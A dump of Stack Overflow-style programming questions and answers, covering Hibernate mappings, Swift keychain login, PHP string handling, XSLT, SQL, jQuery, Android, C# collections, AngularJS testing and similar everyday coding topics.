33874881	0	 <p>I don't know why you want to keep the unidirectional relation here, because making it bidirectional would make your life much easier.</p> <p>First, <code>CascadeType.ALL</code> on the parent mapping in your example means that if you delete the subfolder, its parent will be deleted also. And this will propagate all the way up to the root folder which is probably not what you want.</p> <p>With bidirectonal mapping it would look like this</p> <pre><code>@ManyToOne @JoinColumn(name = "parent_folder_id") protected Folder parentFolder; @OneToMany(mappedBy = "parentFolder", cascade = {CascadeType.ALL}) protected Set&lt;Folder&gt; children; </code></pre> <p>Without this, you should implement the cascade yourself. This will get complicated for more complicated folder structures (when checking the children of a folder before deletion, you'll have to check grandchildren... and so on). It could be done with one recursive method, but definitely a lot more work than with bidirectional relation.</p> <pre><code>/* pseudo code */ public void deleteFolder(Folder f) { Set&lt;Folder&gt; children = session.createQuery("from Folder where parentFolder.id = :parentId").setParameter("parentId", f.getId()).list(); for each child { deleteFolder(child) } session.delete(f) } </code></pre>
31297501	0	Swift! Create a segue only if the button is pressed! Tab Bar Controller <p>Alright, so for about a few days now, I'm stuck on this problem. I have a Tab Bar Controller and I have a View Controller where users of the app either create of enter their passwords, lets call it the <strong>"Pass View"</strong>. </p> <p>The passwords are created using keychain method provided by Apple. Ideally I would want the app to first and always pop up the <strong>"Pass View"</strong> and then if users enter their password correctly then the app segues to the Tab Bar Controller. </p> <p>Now I can associate an action segue from my enter/create button to the Tab Bar Controller, but if I do that then even if the users enter their passwords incorrectly the segue will still happen.. </p> <p><strong>Link to Image 1 Showing StoryBoard: <a href="https://www.flickr.com/photos/124829893@N03/18903848374/in/dateposted-public/" rel="nofollow">StoryBoardImage</a></strong></p> <p><strong>Link to Image 2 Showing files: <a href="https://www.flickr.com/photos/124829893@N03/19338423370/in/dateposted-public/" rel="nofollow">files in my project</a></strong></p> <p>Here is my code: </p> <pre><code>import UIKit class LoginPassViewController: UIViewController { let MyKeychainWrapper = KeychainWrapper() let createLoginButtonTag = 0 let loginButtonTag = 1 @IBOutlet weak var passTextField: UITextField! @IBOutlet weak var loginButton: UIButton! override func viewDidLoad() { // 1. let hasLogin = NSUserDefaults.standardUserDefaults().boolForKey("hasLoginKey") // 2. if hasLogin { loginButton.setTitle("Login", forState: UIControlState.Normal) loginButton.tag = loginButtonTag loginButton.hidden = false } else { loginButton.setTitle("Create", forState: UIControlState.Normal) loginButton.tag = createLoginButtonTag loginButton.hidden = false } // Do any additional setup after loading the view. } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } @IBAction func enterApp(sender: AnyObject) { // 1. if passTextField.text == "" { var alert = UIAlertView() alert.title = "You must enter a password!" alert.addButtonWithTitle("Oops!") alert.show() return } // 2. passTextField.resignFirstResponder() // 3. if sender.tag == createLoginButtonTag { // 4. let hasLoginKey = NSUserDefaults.standardUserDefaults().boolForKey("hasLoginKey") // 5. MyKeychainWrapper.mySetObject(passTextField.text, forKey:kSecValueData) MyKeychainWrapper.writeToKeychain() NSUserDefaults.standardUserDefaults().setBool(true, forKey: "hasLoginKey") NSUserDefaults.standardUserDefaults().synchronize() loginButton.tag = loginButtonTag } else if sender.tag == loginButtonTag { // 6. if checkLogin(passTextField.text) { // THIS IS WHERE IF THE USER PASSWORD IS CORRECT THEN THE VIEW SHOULD SWITCH // TO THE TAB BAR CONTROLLER. } else { // 7. var alert = UIAlertView() alert.title = "Login Problem" alert.message = "Wrong username or password." alert.addButtonWithTitle("Foiled Again!") alert.show() } } } func checkLogin(password: String ) -&gt; Bool { if password == MyKeychainWrapper.myObjectForKey("v_Data") as? String { return true } else { return false } } } </code></pre>
17561216	0	Strip everything in string before the second “-” character that occurs? <p>I found solution for oposite:"Strip everything in string after the second “-” character that occurs?"</p> <pre><code>$newstr = substr($str, 0, strpos($str, '-', strpos($str, '-')+2)); </code></pre> <p>Now, I need solution for "BEFORE" the second "-":</p> <pre><code>Today is - Friday and tomorrow is - Saturday </code></pre> <p>To be:</p> <pre><code>Saturday </code></pre> <p>I would like to do this with strstr(), if it is possible.</p> <p>I tried something like:</p> <pre><code>$newstr = substr($str, 0, strstr($str, '-', strstr($str, '-')+2)); </code></pre> <p>Didn't worked.</p>
8676801	0	 <p>Try this...</p> <pre><code>String s3 = s1 + s2 if(s3.equals("onetwo")) { ... </code></pre> <p><code>==</code> compares if they refer to the same object, and the result of <code>s1+s2</code> isn't in this case, and the <code>.equals()</code> method on string compares that the values are the same. In general, you only use <code>==</code> for primitive value comparisons. Although you can do it for objects iff you intend to check to make sure that two references point to the same object.</p>
13493713	0	 <p><strong>Use</strong>:</p> <pre><code>/*/Result/*/Flight [count(*/*)=count(/*/Request/*/FlightId) and not(*/*/FlightNumber[not(. = /*/Request/*/FlightId)]) ] </code></pre> <p><strong>Here is the complete transformation:</strong></p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:output omit-xml-declaration="yes" indent="yes"/&gt; &lt;xsl:strip-space elements="*"/&gt; &lt;xsl:template match="/"&gt; &lt;xsl:variable name="vHits" select= "/*/Result/*/Flight [count(*/*)=count(/*/Request/*/FlightId) and not(*/*/FlightNumber[not(. = /*/Request/*/FlightId)]) ]"/&gt; &lt;FilterResult&gt; &lt;ResultCount&gt;&lt;xsl:value-of select="count($vHits)"/&gt;&lt;/ResultCount&gt; &lt;Response&gt; &lt;xsl:copy-of select="$vHits"/&gt; &lt;/Response&gt; &lt;/FilterResult&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p><strong>When this transformation is applied on the provided XML document:</strong></p> <pre><code>&lt;Response&gt; &lt;Request&gt; &lt;RequestedFlights&gt; &lt;FlightId&gt;2121&lt;/FlightId&gt; &lt;FlightId&gt;2584&lt;/FlightId&gt; &lt;/RequestedFlights&gt; &lt;/Request&gt; &lt;Result&gt; &lt;Flights&gt; &lt;Flight&gt; &lt;Segments&gt; &lt;Segment&gt; &lt;Id&gt;1&lt;/Id&gt; &lt;FlightNumber&gt;2121&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;Segment&gt; &lt;Id&gt;2&lt;/Id&gt; &lt;FlightNumber&gt;1121&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;/Segments&gt; &lt;/Flight&gt; &lt;Flight&gt; &lt;Segments&gt; &lt;Segment&gt; &lt;Id&gt;3&lt;/Id&gt; &lt;FlightNumber&gt;2121&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;Segment&gt; &lt;Id&gt;4&lt;/Id&gt; &lt;FlightNumber&gt;2584&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;/Segments&gt; &lt;/Flight&gt; &lt;Flight&gt; &lt;Segments&gt; &lt;Segment&gt; &lt;Id&gt;5&lt;/Id&gt; &lt;FlightNumber&gt;2121&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;Segment&gt; &lt;Id&gt;6&lt;/Id&gt; &lt;FlightNumber&gt;2584&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;Segment&gt; &lt;Id&gt;7&lt;/Id&gt; &lt;FlightNumber&gt;2023&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;/Segments&gt; &lt;/Flight&gt; &lt;/Flights&gt; &lt;/Result&gt; &lt;/Response&gt; </code></pre> <p><strong>the wanted, correct result is produced:</strong></p> <pre><code>&lt;FilterResult&gt; &lt;ResultCount&gt;1&lt;/ResultCount&gt; &lt;Response&gt; &lt;Flight&gt; &lt;Segments&gt; &lt;Segment&gt; &lt;Id&gt;3&lt;/Id&gt; &lt;FlightNumber&gt;2121&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;Segment&gt; &lt;Id&gt;4&lt;/Id&gt; &lt;FlightNumber&gt;2584&lt;/FlightNumber&gt; &lt;/Segment&gt; &lt;/Segments&gt; &lt;/Flight&gt; &lt;/Response&gt; &lt;/FilterResult&gt; </code></pre> <p><strong>Explanation</strong>:</p> <p>Proper use of the <strong><a href="http://en.wikipedia.org/wiki/Double_negation" rel="nofollow">double negation</a></strong> law.</p>
11366593	0	How can I test the Visual C++ Redistributable? <p>Our company is preparing for a company-wide upgrade to Windows 7 64-bit. The people running the upgrade project have assembled a list of applications that need to be installed on every machine, and myself and my colleagues are being tasked with testing all these apps in the new OS.</p> <p>We have three different versions of the Visual C++ Redistributable on our master list of applications, but nobody seems to know exactly which applications uses these libraries, and they want us to test them. Merely verifying that they're installed is not enough.</p> <p>I doubt there is any good way to see if an application references the visual c++ redist, but if there is let me know. I was wondering if there was any kind of visual c++ "test app" available that would let me execute some code from the libraries. Or maybe I would have to develop something, but I'm a C# guy so I'm not too familiar. If this proves to be too difficult or if I can come up with a good explanation of why we don't need to do this, then perhaps I can convince the project managers this isn't necessary.</p> <p>So... can anybody suggest a good way I could <em>test</em> the Visual C++ Redistributable?</p>
32405867	0	 <p>Here's the answer, a simple sub-select:</p> <p>declare @t1 table (Id int not null primary key) declare @t2 table (Id int not null primary key, Table1Id int not null, SomeValue int not null)</p> <p>INSERT @t1 VALUES (100), (101), (102), (103), (104), (105), (106), (107), (108), (109), (110), (111), (112), (113)</p> <p>INSERT @t2 VALUES (1,100,1),(5,100,2),(9,100,4),(10,100,5), (2,101,1),(6,101,2),(11,101,4),(13,101,7), (3,102,1),(7,102,2),(12,102,4),(14,102,6), (15,103,1),(17,103,2), (16,104,1),(18,104,2),(19,104,4), (20,105,1),(25,105,2),(27,105,4),(28,105,7), (21,106,1), (22,107,1),(29,107,2), (23,108,1),(30,108,2), (31,109,1), (32,110,1),(36,110,2),(40,110,3), (33,111,1),(37,111,2),(44,111,3), (34,112,1),(38,112,2),(43,112,4), (35,113,1),(41,113,2),(42,113,4)</p> <p>select * from ( select Table1Id, max (SomeValue) AS SomeValue from @t2 group by Table1Id ) t where SomeValue = 4</p>
31291447	0	 <p>Use <code>addClass()</code> and <code>removeClass()</code> then store the styles in there:</p> <p>CSS</p> <pre><code>.my-checkbox-class { // styles } </code></pre> <p>JQuery</p> <pre><code>$('.single-checkbox:checked').addClass('my-checkbox-class'); $('.single-checkbox:checked').removeClass('my-checkbox-class'); </code></pre> <p>You can add any styles to any element like this and remove them too. It's a good, clean solution that makes your css re-usable and keeps the style and functionality separate.</p> <p>Note that the add and remove class methods don't need a <code>.</code> to denote a class, this can be a gotcha</p>
28298844	0	How to change bitmap height and width programmatically in android? <p>I want to resize the bitmap height &amp; width into same as the user device width &amp; height.So please help me if u know the code.Thank You !</p> <p>This is my code:</p> <pre><code> Bitmap bm = BitmapFactory.decodeResource(getResources(),R.drawable.nature); DisplayMetrics metrics = getApplicationContext().getResources().getDisplayMetrics(); width = metrics.widthPixels; height=metrics.heightPixels; </code></pre> <p>But it was not working</p>
8255816	0	 <p><a href="http://www-01.ibm.com/software/awdtools/xlcpp/" rel="nofollow">IBM's xlC++</a> compiler has a basic <a href="https://www.ibm.com/developerworks/mydeveloperworks/blogs/5894415f-be62-4bc0-81c5-3956e82276f3/entry/xlc_compiler_s_c_11_support50?lang=en" rel="nofollow">C++11 feature support page</a>.</p>
34396674	0	 <p>Unfortunately, this seems to be a task, where you cannot get away using separate queries. However, I would use <code>union</code> to combine the results of the queries, rather than joins, or subqueries in the select list, or separate queries.</p> <ol> <li>With union there is only 1 roundtrip between the client and the database</li> <li>If a query in the union does not return any rows, then it will not be in the resultset (see requirements in OP). Pls note, that the <code>type</code> field's value will tell you the type of the url returned.</li> </ol> <p>Sample code:</p> <pre><code>SELECT article_url, 'review' as type FROM articles WHERE articles_game_id = 233 AND artikel_sort = 'review' AND article_online = 1 ORDER BY article_datetime DESC LIMIT 1 UNION ALL SELECT article_url, 'preview' FROM articles WHERE articles_game_id = 233 AND artikel_sort = 'preview' AND article_online = 1 ORDER BY article_datetime DESC LIMIT 1 UNION ALL SELECT trailer_url, 'video review' FROM trailers WHERE trailer_game_id = 233 AND trailer_sort = 'video review' AND trailer_online = 1 ORDER BY trailer_datetime DESC LIMIT 1 UNION ALL SELECT trailer_url, 'video preview' FROM trailers WHERE trailer_game_id = 233 AND trailer_sort = 'video preview' AND trailer_online = 1 ORDER BY trailer_datetime DESC LIMIT 1 </code></pre> <p>An alternative solution could be to use a subquery to get the max date (or id, if the article / trailer ids are auto_increment fields). However, you would need 2 subqueries (1 or article, 1 trailers), then 2 queries in which the subqueries are joined back to article / trailer tables, and a 5th one top combine them into 1 query, so I will not describe this approach.</p>
20721399	0	Group by a Substring mysql not working <p>I want to use GROUP BY clause on a query in case IFF it's column TYPE contains [Sale], for that purpose I put the query below,</p> <pre><code>SELECT PAYABLE_TYPE AS TYPE, CASE WHEN (SUBSTRING(PAYABLE_TYPE, 1,6) = '[Sale]') THEN PAYABLE_TYPE END AS T, PAYABLE_PARTICULAR AS PARTICULAR, DEBIT, CREDIT, PAYABLE_DATE AS DATE FROM PAYABLES WHERE PAYABLE_DATE &gt;= $P{DateStart} &amp;&amp; PAYABLE_DATE &lt;= $P{DateEnd} GROUP BY T </code></pre> <p>But it only returns me 2 lines at all, what I have is in the image below and the GREEN boxed line shows what I need to group. One more thing I need that grouped total to be sum up as well there. Thanks</p> <p><img src="https://i.stack.imgur.com/UnMOp.png" alt="enter image description here"></p>
38904343	0	 <p>You need <code>@temp = 0</code> at the beginning of each block of code.</p> <p>After executing your code with the modification</p> <pre><code>list = [{"name"=&gt;"Germany", "id"=&gt;1}, {"name"=&gt;"USA", "id"=&gt;2}, {"name"=&gt;"USA", "id"=&gt;3}, {"name"=&gt;"France", "id"=&gt;4}, {"name"=&gt;"France", "id"=&gt;5}, {"name"=&gt;"France", "id"=&gt;6}] </code></pre> <p>We can then obtain your desired result as follows.</p> <pre><code>list.group_by { |h| h["name"] }.values.flat_map do |a| a.map.with_index(1) do |h,i| base = h["name"] h.merge("name"=&gt;base +" #{i}") end end #=&gt; [{"name"=&gt;"Germany 1", "id"=&gt;1}, # {"name"=&gt;"USA 1", "id"=&gt;2}, # {"name"=&gt;"USA 2", "id"=&gt;3}, # {"name"=&gt;"France 1", "id"=&gt;4}, # {"name"=&gt;"France 2", "id"=&gt;5}, # {"name"=&gt;"France 3", "id"=&gt;6}] </code></pre> <p>Note</p> <pre><code>arr = list.group_by { |h| h["name"] }.values #=&gt; [[{"name"=&gt;"Germany", "id"=&gt;1}], # [{"name"=&gt;"USA", "id"=&gt;2}, {"name"=&gt;"USA", "id"=&gt;3}], # [{"name"=&gt;"France", "id"=&gt;4}, {"name"=&gt;"France", "id"=&gt;5}, # {"name"=&gt;"France", "id"=&gt;6}]] </code></pre> <p>Had I used <a href="http://ruby-doc.org/core-2.3.0/Enumerable.html#method-i-map" rel="nofollow">Enumerable#map</a> rather than <a href="http://ruby-doc.org/core-2.3.0/Enumerable.html#method-i-flat_map" rel="nofollow">Enumerable#flat_map</a>, the result would have been</p> <pre><code> [[{"name"=&gt;"Germany 1", "id"=&gt;1}], [{"name"=&gt;"USA 1", "id"=&gt;2}, {"name"=&gt;"USA 2", "id"=&gt;3}], [{"name"=&gt;"France 1", "id"=&gt;4}, {"name"=&gt;"France 2", "id"=&gt;5}, {"name"=&gt;"France 3", "id"=&gt;6}]] </code></pre> <p>Using <code>flat_map</code> is equivalent to inserting a splat in front of each of this array's elements.</p> <pre><code> [*[{"name"=&gt;"Germany 1", "id"=&gt;1}], *[{"name"=&gt;"USA 1", "id"=&gt;2}, {"name"=&gt;"USA 2", "id"=&gt;3}], *[{"name"=&gt;"France 1", "id"=&gt;4}, {"name"=&gt;"France 2", "id"=&gt;5}, {"name"=&gt;"France 3", "id"=&gt;6}]] </code></pre>
2297810	0	 <p>You would expose it as an <code>IEnumerable&lt;T&gt;</code>, but not just returning it directly:</p> <pre><code>public IEnumerable&lt;object&gt; Objects { get { return obs.Select(o =&gt; o); } } </code></pre> <p>Since you indicated you only wanted <em>traversal</em> of the list, this is all you need.</p> <p>One might be tempted to return the <code>List&lt;object&gt;</code> directly as an <code>IEnumerable&lt;T&gt;</code>, but that would be incorrect, because one could easily inspect the <code>IEnumerable&lt;T&gt;</code> at runtime, determine it is a <code>List&lt;T&gt;</code> and cast it to such and mutate the contents.</p> <p>However, by using <code>return obs.Select(o =&gt; o);</code> you end up returning an iterator over the <code>List&lt;object&gt;</code>, not a direct reference to the <code>List&lt;object&gt;</code> itself.</p> <p>Some might think that this qualifies as a "degenerate expression" according to section 7.15.2.5 of the C# Language Specification. However, <a href="http://blogs.msdn.com/ericlippert/archive/2008/05/12/trivial-projections-are-usually-optimized-away.aspx" rel="nofollow noreferrer">Eric Lippert goes into detail as to why this projection isn't optimized away</a>.</p> <p>Also, people are suggesting that one use the <a href="http://msdn.microsoft.com/en-us/library/bb335435.aspx" rel="nofollow noreferrer">AsEnumerable extension method</a>. This is incorrect, as the reference identity of the original list is maintained. From the Remarks section of the documentation:</p> <blockquote>The <code>AsEnumerable&lt;TSource&gt;(IEnumerable&lt;TSource&gt;)</code> method has no effect other than to change the compile-time type of source from a type that implements <code>IEnumerable&lt;T&gt;</code> to <code>IEnumerable&lt;T&gt;</code> itself.</blockquote> <p>In other words, all it does is cast the source parameter to <code>IEnumerable&lt;T&gt;</code>, which doesn't help protect referencial integrity, the original reference is returned and can be cast back to <code>List&lt;T&gt;</code> and be used to mutate the list.</p>
29263645	0	MS Access shared on SharePoint with multiple users and linked tables <p>I have an Access Database (2010) that uses a linked table from a SharePoint (2013) list of names. It does not edit the information on the SharePoint list, but rather pulls the names from SP to populate the name field in the new records in Access. The user then can add in the additional information stored in the Access DB (in this case, it is somewhat of a "report card" form that allows the teacher to input student's grades).</p> <p>This DB is stored on a SharePoint site. When teachers try to use it, they are prompted to save the DB locally and then "Save to SharePoint" when they are done. The problem is that if two teachers are using it at the same time and one saves to SP after the other, the latter teacher will overwrite all the changes that the former teacher made.</p> <p>I've done some research and it seems that "splitting" the Access DB might work to allow teachers to simultaneously edit (only a maximum of 6 users will be editing at the same time). But I have not tried this method before. Will splitting into front-end and back-end affect the linked table of names that is taken from a SharePoint list? What is the best way to allow simultaneous edits?</p>
36227521	0	 <p>There is no <strong>Children</strong> property on Parent, there is a Child property. But the Binding attribute says Children. Change the attribute to...</p> <pre><code>public ActionResult Edit([Bind(Include="ParentId,ZmiennaParent1, Child")] Parent parent) </code></pre>
24717590	0	 <p>This removes the list of services:</p> <pre><code>tasklist /v|find /v /i " services " </code></pre>
6430142	0	 <p>UNIX timestamps are in seconds. Multiply by 1000.</p>
29805037	0	 <p>There are couple of things you could do easily. First point is</p> <ul> <li><p>you could use <strong>Positive integer field</strong> in Django, if you want only positive integer in this model</p></li> <li><p>if you want to do the custom way, please raise an exception or use the assert statement for it. Then in the test case could check whether exception or assertion Error is raised </p></li> </ul>
7410046	0	 <p>Check this link: <a href="http://eclipse.dzone.com/news/create-new-eclipse-workspace-w" rel="nofollow">Create New Eclipse Workspace - With All Your Old Settings</a> or this stackoverflow <a href="http://stackoverflow.com/questions/2988653/how-to-save-settings-of-eclipse">post</a></p>
993380	0	 <p>You only have to use this-> if you have a symbol with the same name in two potential namespaces. Take for example:</p> <pre><code>class A { public: void setMyVar(int); void doStuff(); private: int myVar; } void A::setMyVar(int myVar) { this-&gt;myVar = myVar; // &lt;- Interesting point in the code } void A::doStuff() { int myVar = ::calculateSomething(); this-&gt;myVar = myVar; // &lt;- Interesting point in the code } </code></pre> <p>At the interesting points in the code, referring to myVar will refer to the local (parameter or variable) myVar. In order to access the class member also called myVar, you need to explicitly use "this->".</p>
2261911	0	I'm trying to read data from my SQL Server Compact database, but I keep getting the same error <p>I'm querying a <a href="http://en.wikipedia.org/wiki/SQL_Server_Compact" rel="nofollow noreferrer">SQL Server Compact</a> database with "SELECT * FROM User", and I get an error parsing the query:</p> <blockquote> <p>Token line number = 1,Token line offset = 15,Token in error = User</p> </blockquote> <p>How do I fix this?</p> <p>The code I'm using is this:</p> <pre><code>public static List&lt;User&gt; GetUsers() { List&lt;User&gt; users = new List&lt;User&gt;(); using (SqlCeConnection con = new SqlCeConnection(Properties.Settings.Default.DatabaseConnection)) { con.Open(); using (SqlCeCommand command = new SqlCeCommand("SELECT * FROM " + TABLE, con)) { SqlCeDataReader reader = command.ExecuteReader(); while (reader.Read()) { int id = reader.GetInt32(0); string user = reader.GetString(1); User usr = null; using (MemoryStream s = new MemoryStream()) { NetDataContractSerializer serializer = new NetDataContractSerializer(); s.Write(ASCIIEncoding.ASCII.GetBytes(user.ToCharArray()), 0, user.Length); s.Position = 0; usr = (User)serializer.Deserialize(s); } } } } return users; } </code></pre> <p>Note: I also get this error trying to add information.</p>
15840152	0	 <p>The corners.png file is definitely required. Here is the asset from that example site: <a href="http://search.missouristate.edu/map/mobile/examples/corners.png" rel="nofollow">http://search.missouristate.edu/map/mobile/examples/corners.png</a></p>
29672440	0	 <pre><code>$string = "&lt;strong&gt;Blabla1&lt;/strong&gt; Blaabla2&lt;br /&gt; Blaabla3 &lt;strong&gt;Blaabla4&lt;/strong&gt; Blaabla5 Blaabla6&lt;br /&gt;&lt;br /&gt; Blaabla7 &lt;span style='color:#B22222;'&gt;Blaabla8&lt;/span&gt; Blaabla9"; $matches = preg_split('/(&lt;br.*?&gt;|&lt;span.*&gt;)+\K|\s/sim', $string, null, PREG_SPLIT_NO_EMPTY ); var_dump($matches); /* array(9) { [0]=&gt; string(24) "&lt;strong&gt;Blabla1&lt;/strong&gt;" [1]=&gt; string(14) "Blaabla2&lt;br /&gt;" [2]=&gt; string(8) "Blaabla3" [3]=&gt; string(25) "&lt;strong&gt;Blaabla4&lt;/strong&gt;" [4]=&gt; string(8) "Blaabla5" [5]=&gt; string(20) "Blaabla6&lt;br /&gt;&lt;br /&gt;" [6]=&gt; string(8) "Blaabla7" [7]=&gt; string(44) "&lt;span style='color:#B22222;'&gt;Blaabla8&lt;/span&gt;" [8]=&gt; string(8) "Blaabla9" } */ </code></pre> <p><a href="http://ideone.com/q8xrvd" rel="nofollow">DEMO</a></p>
22347894	0	 <p>XML is just a structure that represents Data. DTD is the definition of you xml structure. Non of these are generating ids for you. </p> <p>However XSLT's generate-id() will be suitable for you. You can learn more from w3c <a href="http://www.w3schools.com/xsl/func_generateid.asp" rel="nofollow">http://www.w3schools.com/xsl/func_generateid.asp</a></p>
2764481	0	 <p>By calling both the _breadcrumb method with x.father and assigning x = x.father in the beginning of the while loop you jump over one father. Try exchanging </p> <pre><code>self.crumb = self._breadcrumb(father) </code></pre> <p>with</p> <pre><code>self.crumb = self._breadcrumb(self) </code></pre> <p>By defining _breadcrumb within the model class you can clean it up like this:</p> <pre><code>class GeoObject(models.Model): name = models.CharField('Name',max_length=30) father = models.ForeignKey('self', related_name = 'geo_objects') crumb = PickledObjectField() # more attributes... def _breadcrumb(self): ... return breadcrumb def save(self,*args, **kwargs): self.crumb = self._breadcrumb() super(GeoObject, self).save(*args,**kwargs) </code></pre> <p>For more complex hierachies I recomend <a href="https://tabo.pe/projects/django-treebeard/docs/tip/" rel="nofollow noreferrer">django-treebeard</a> </p>
32924740	0	Found this strange behaviour of Handlers in android <p>I just wrote a code which adds several views, each using a handler. These are added using a for-loop. These add just correctly. Then I tried to add a button AFTER the for loop without using handler. This time the button was shown on the top of the layout i.e BEFORE the items added in for loop. This does not happen if I add the button using handler.</p> <p>So, if I use the following code with a handler after the loop then the button is added on the bottom of the layout:</p> <pre><code> private void fillFeedWithData(final List&lt;ParseObject&gt; feedObjectList) { LayoutInflater inflaterOfFeedItem = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); for (int i = 0; i &lt; feedObjectList.size(); i++) { final String jokeTitle = feedObjectList.get(i).getString("content"); final View cvFeedItem = inflaterOfFeedItem.inflate(R.layout.feed_item_theme_card, null); final TextView tvJoke = (TextView) cvFeedItem.findViewById(R.id.tvFeedJoke); Handler h2 = new Handler(); Runnable update2 = new Runnable() { public void run() { tvJoke.setText(jokeTitle); llFragmentFeedParent.addView(cvFeedItem); // llFragmentFeedParent is acquired in OnCreate() method } }; h2.post(update2); } final Button bNext = new Button(this); bNext.setText("Next &gt;"); bNext.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); Handler h3 = new Handler(); Runnable update3 = new Runnable() { public void run() { llFragmentFeedParent.addView(bNext); } }; h3.post(update3); } </code></pre> <p>If I used the following code after the loop then the button is added on the top of the layout:</p> <pre><code> Button bNext = new Button(this); bNext.setText("Next &gt;"); bNext.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); llFragmentFeedParent.addView(bNext); </code></pre> <p>So now my app is working as intended with the handler but I am concerned as to why this was happening. I think the handlers are mixing up the timings/sequence of execution? If I keep using the logic, is it possible that the button might, in a slow mobile phone, appear on top or even in between the items added in the loop?</p>
23424215	0	 <p>No need for kooking further. <strong>indexOf</strong> does the trick. For one element:</p> <pre><code>"test" indexOf "es" res4: Int = 1 </code></pre> <p>For more elements:</p> <pre><code>scala&gt; List("beer" , "root beer", "bavarian beer" , "a beer bong" ) map (_ indexOf "beer") res6: List[Int] = List(0, 5, 9, 2) </code></pre> <p>If you want to use something else it would be best to stick to some standard implementations widely used. For example <em>Apache Commons</em> <a href="http://commons.apache.org/proper/commons-lang/" rel="nofollow">http://commons.apache.org/proper/commons-lang/</a> has a good StringUtils package which contains string matching algorithms.</p> <p>For Boyer-Moore there are myriads of implementations. On Wikipedia you even find a Java implementation: <a href="http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm" rel="nofollow">http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm</a></p>
38234610	0	How to inject ngRoute into Jasmine / Karma AngularJS unit test? <p>I'm trying to get a basic unit test example working. It all works fine with this app.js</p> <pre><code>var whapp = angular.module('whapp', []) .filter('reverse',[function(){ return function(string){ return string.split('').reverse().join(''); } }]); </code></pre> <p>and this spec.js</p> <pre><code>describe('Filters', function(){ //describe your object type beforeEach(module('whapp')); //load module describe('reverse',function(){ //describe your app name var reverse, rootScope; beforeEach(inject(function($filter){ //initialize your filter reverse = $filter('reverse',{}); })); it('Should reverse a string', function(){ //write tests expect(reverse('rahil')).toBe('lihar'); //pass }); }); }); </code></pre> <p>with this karma files config</p> <pre><code>files: [ 'node_modules/angular/angular.js', 'node_modules/angular-mocks/angular-mocks.js', 'node_modules/angular-mocks/angular-route/angular-route.js', 'node_modules/angular-mocks/angular-ui-router/release/angular-ui-router.js', 'app/js/*.js', 'tests/*.js' ] </code></pre> <p>The problem occurs when I try to inject ngRoute into my module in app.js like so</p> <pre><code>var whapp = angular.module('whapp', ['ngRoute']) .filter('reverse',[function(){ return function(string){ return string.split('').reverse().join(''); } }]); </code></pre> <p>In which case I get the following error in karma [UPDATE: this error occurs even if I don't load the angular-mock.js library into karma as shown above]</p> <pre><code>TypeError: undefined is not a constructor (evaluating 'reverse('rahil')') in tests/spec.js (line 9) </code></pre> <p>So... how do I inject ngRoute into spec.js correctly? I've tried a variety of things, none of which worked.</p>
28458746	0	How to get all records from a nested activerecord collection <p>I have an ActiveRecord query that i need help with.</p> <p>Lets say we have a user and he has multiple libraries. In each library, there are many collections. In each collection, he has many books.</p> <p>How do I get a list of all his books?</p> <p>I know I can do libraries.each |library| library.collections.each do |collections| collection.books.each do |book| books &lt;&lt; book.title</p> <p>but I'm hoping for a simpler methodology then this.</p>
9307528	0	 <p>This is very normal, since each time you are closing the form and opening it again you are having a new instance from the form MyPropsX, so the best way would be to save your properties in any kind of a database (sql, access, textfiles,...)</p>
32939058	0	 <p>Are you using the SQL Server Management Studio? You can have many databases on one connection. To create a new database, simply right click on the "Databases" object and select "New Database" The new database will not interfere with the existing one.</p>
11267639	0	 <p>There's no official or centralized django-html5-boilerplate package, but based on your problem, I'm guessing you're using <a href="https://github.com/mike360/django-html5-boilerplate" rel="nofollow">the one created by mike360 on github</a></p> <p>If that's the case, in <a href="https://github.com/mike360/django-html5-boilerplate/blob/master/projectname/templates/base.html" rel="nofollow">base.html</a>, you'll find there the following bit of code:</p> <pre><code>{% if debug %}{% include 'includes/debug.html' %}{% endif %} </code></pre> <p>Setting <code>DEBUG=False</code> will make it go away (which you'll <em>have</em> to do in production, so you'll still need to solve that staticfiles problem), but if you simply don't want to see it during development, remove it from the template.</p>
40861684	0	 <p>Assuming the strings are all in column A:</p> <p>As you will only want to split where there are 2 or more characters, just to start you off. In <strong>Column C</strong> is the formula (this is only in column C):</p> <pre><code>=IF(LEN(A1)&gt;1,CONCATENATE(LEFT($A1,1),"_",MID($A1,2,1),"_"),"") </code></pre> <p>In <strong>Column D</strong> and dragged across is the formula:</p> <pre><code>=IF(LEN($A1)&gt;COLUMN(C:C),CONCATENATE(C1,MID($A1,COLUMN(C:C),1),"_"),IF(LEN($A1)=COLUMN(C:C),CONCATENATE(C1,RIGHT($A1,1)),"")) </code></pre> <p>That will build the string for you but the results will be all over the place so in <strong>Column B</strong> I have the formula:</p> <pre><code>=INDEX(1:1,1,LEN(A1)+1) </code></pre> <p>To gather all the results in to one column for you. Feel free to ask how any of this works, I hope this helps.</p> <p><a href="https://i.stack.imgur.com/HEMFS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HEMFS.png" alt="Example"></a></p>
1812405	0	 <p>A VM is a big task to consider. Have you considered basing your VM on something like <a href="http://llvm.org/" rel="nofollow noreferrer">LLVM</a>? </p> <p>LLVM will provide a good base to start from and there are plenty of <a href="http://llvm.org/ProjectsWithLLVM/" rel="nofollow noreferrer">example projects</a> which you can use for understanding.</p>
